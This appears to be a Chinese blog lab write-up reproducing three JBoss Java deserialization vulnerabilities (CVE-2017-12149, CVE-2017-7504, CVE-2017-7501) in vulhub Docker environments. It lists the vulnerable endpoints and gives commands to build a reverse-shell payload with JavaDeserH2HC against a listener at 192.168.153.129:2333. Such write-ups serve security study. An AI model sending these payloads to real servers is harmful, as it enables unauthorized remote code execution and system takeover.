天天看点

Jboss反序列化漏洞

1、CVE-2017-12149

影响版本

Jboss5.x/6.x
           

漏洞原因

在JBoss的HttpInvoker组件中的 ReadOnlyAccessFilter 过滤器中,其doFilter方法在没有进行任何安全检查和限制的情况下,
尝试将来自客户端的序列化数据流进行反序列化,导致任意代码执行。
引发漏洞的目录:http://your-ip:8080/invoker/readonly
           
Jboss反序列化漏洞

漏洞复现

这里使用的环境是kali中的vulhub和docker。
进入vulhub/jboss/CVE-2017-12149目录,执行`docker-compose up -d`开启环境。
使用JavaDeserH2HC工具生成payload。(下载地址https://github.com/joaomatosf/JavaDeserH2HC)
           
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap ip:port 	
//反弹shell的IP和端口,这里使用的是192.168.153.129:2333
           

在kali中新建一个命令窗口,监听端口2333。

上传payload到/invoker/readonly目录下,反弹shell。

Jboss反序列化漏洞
Jboss反序列化漏洞

2、CVE-2017-7504

漏洞原因

在JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的
HTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。
引发漏洞的目录:http://your-ip:8080/jbossmq-httpil/HTTPServerILServlet
           

漏洞复现

这里使用的环境是kali中的vulhub和docker。
进入vulhub/jboss/CVE-2017-7504目录,执行`docker-compose up -d`开启环境。
其余步骤和CVE-2017-12149一样,只是上传payload的url要变成http://your-ip:8080/jbossmq-httpil/HTTPServerILServlet。
           
Jboss反序列化漏洞

3、CVE-2017-7501

漏洞原因

JBoss在/invoker/JMXInvokerServlet 请求中读取了用户传入的对象,存在反序列化漏洞。
           

漏洞复现

这里使用的环境是kali中的vulhub和docker。
进入vulhub/jboss/JMXInvokerServlet-deserialization目录,执行`docker-compose up -d`开启环境。
其余步骤和CVE-2017-12149一样,只是上传payload的url要变成http://your-ip:8080/invoker/JMXInvokerServlet。
           
Jboss反序列化漏洞